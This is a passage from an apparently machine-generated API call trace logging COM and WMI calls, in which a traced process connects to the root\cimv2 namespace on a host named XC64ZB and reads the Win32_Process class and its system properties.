ppvObject=0x1b30ca30*=0x1b4d2cc0) returned 0x0 [0110.259] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2cc0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0110.259] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2cc0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0110.259] WbemLocator:IUnknown:AddRef (This=0x1b4d2cc0) returned 0x3 [0110.260] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2cc0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0110.260] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2cc0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0110.260] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2cc0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0110.260] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0110.260] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0110.260] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2cc0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0110.260] WbemLocator:IUnknown:Release (This=0x1b4d2cc0) returned 0x2 [0110.260] WbemLocator:IUnknown:Release (This=0x1b4d2cc0) returned 0x1 [0110.260] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0110.260] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0110.260] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2cc0, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4d2cc0) returned 0x0 [0110.260] WbemLocator:IUnknown:AddRef (This=0x1b4d2cc0) returned 0x3 [0110.260] WbemLocator:IUnknown:Release (This=0x1b4d2cc0) returned 0x2 [0110.260] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aef20, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0110.260] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0110.260] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0110.260] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b4d2d40) returned 0x0 [0110.260] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4d2d40, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x1b4b4820) returned 0x0 [0110.367] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b4820, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b4acd30) returned 0x0 [0110.367] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b4acd30, pProxy=0x1b4b4820, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0110.367] WbemLocator:IUnknown:Release (This=0x1b4acd30) returned 0x1 [0110.367] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b4820, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b4acd78) returned 0x0 [0110.367] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b4820, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b4acd30) returned 0x0 [0110.367] WbemLocator:IClientSecurity:SetBlanket (This=0x1b4acd30, pProxy=0x1b4b4820, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0110.367] WbemLocator:IUnknown:Release (This=0x1b4acd30) returned 0x2 [0110.367] WbemLocator:IUnknown:Release (This=0x1b4acd78) returned 0x1 [0110.367] CoTaskMemFree (pv=0x1b461a90) [0110.367] WbemLocator:IUnknown:Release (This=0x1b4d2d40) returned 0x0 [0110.367] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b4820, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b4acd78) returned 0x0 [0110.368] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acd78, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0110.372] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acd78, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0110.377] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4b4820, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0110.393] WbemLocator:IUnknown:AddRef (This=0x1b4acd78) returned 0x3 [0110.393] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acd78, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0110.393] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acd78, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0110.393] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acd78, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b4acc58) returned 0x0 [0110.393] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b4acc58, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0110.393] WbemLocator:IUnknown:Release (This=0x1b4acc58) returned 0x3 [0110.393] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0110.393] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0110.393] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acd78, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b4acd40) returned 0x0 [0110.393] WbemLocator:IRpcOptions:Query (in: This=0x1b4acd40, pPrx=0x1b4acd78, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0110.393] WbemLocator:IUnknown:Release (This=0x1b4acd40) returned 0x3 [0110.393] WbemLocator:IUnknown:Release (This=0x1b4acd78) returned 0x2 [0110.393] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0110.393] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0110.393] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acd78, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x1b4b4820) returned 0x0 [0110.393] WbemLocator:IUnknown:AddRef (This=0x1b4b4820) returned 0x4 [0110.393] WbemLocator:IUnknown:Release (This=0x1b4b4820) returned 0x3 [0110.393] WbemLocator:IUnknown:Release (This=0x1b4b4820) returned 0x2 [0110.393] SysStringLen (param_1=0x0) returned 0x0 [0110.394] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aef20, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0110.394] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0110.394] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aef20, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0110.394] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0110.394] WbemLocator:IUnknown:AddRef (This=0x1b4acd78) returned 0x3 [0110.394] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4acd78, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b4acd78) returned 0x0 [0110.394] WbemLocator:IUnknown:Release (This=0x1b4acd78) returned 0x3 [0110.394] WbemLocator:IUnknown:Release (This=0x1b4acd78) returned 0x2 [0110.394] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afee0, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0110.394] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afee0, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0110.394] IWbemServices:GetObject (in: This=0x1b4b4820, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4cdf50, ppCallResult=0x0) returned 0x0 [0110.417] IWbemClassObject:Get (in: This=0x1b4cdf50, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0110.417] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0110.417] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0110.417] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0110.417] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0110.417] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0110.417] IUnknown:Release (This=0x6124e8) returned 0x1 [0110.418] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b4d27c0) returned 0x0 [0110.424] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d27c0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0110.424] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d27c0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x1b4b07e0) returned 0x0 [0110.425] WbemDefPath:IUnknown:Release (This=0x1b4d27c0) returned 0x0 [0110.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x1b4b07e0) returned 0x0 [0110.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0110.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0110.425] WbemDefPath:IUnknown:AddRef (This=0x1b4b07e0) returned 0x3 [0110.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0110.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0110.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b4d2c80) returned 0x0 [0110.425] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2c80, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0110.425] WbemDefPath:IUnknown:Release (This=0x1b4d2c80) returned 0x3 [0110.425] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0110.425] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0110.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0110.425] WbemDefPath:IUnknown:Release (This=0x1b4b07e0) returned 0x2 [0110.425] WbemDefPath:IUnknown:Release (This=0x1b4b07e0) returned 0x1 [0110.425] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0110.425] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0110.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b07e0, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4b07e0) returned 0x0 [0110.426] WbemDefPath:IUnknown:AddRef (This=0x1b4b07e0) returned 0x3 [0110.426] WbemDefPath:IUnknown:Release (This=0x1b4b07e0) returned 0x2 [0110.426] WbemDefPath:IWbemPath:SetText (This=0x1b4b07e0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0110.426] IWbemClassObject:Get (in: This=0x1b4cdf50, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0110.426] SysStringByteLen (bstr="XC64ZB") returned 0xc [0110.426] SysStringByteLen (bstr="XC64ZB") returned 0xc [0110.426] IWbemClassObject:Get (in: This=0x1b4cdf50, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0110.426] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0110.426] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0110.426] IWbemClassObject:Get (in: This=0x1b4cdf50, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0110.426] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0110.426] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0110.426] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0110.426] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0110.427] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0110.427] IUnknown:Release (This=0x6124e8) returned 0x1 [0110.427] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d29e0) returned 0x0 [0110.428] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d29e0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0110.428] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d29e0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b01e0) returned 0x0 [0110.428] WbemDefPath:IUnknown:Release (This=0x1b4d29e0) returned 0x0 [0110.428] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b01e0) returned 0x0 [0110.428] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0110.428] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0110.428] WbemDefPath:IUnknown:AddRef 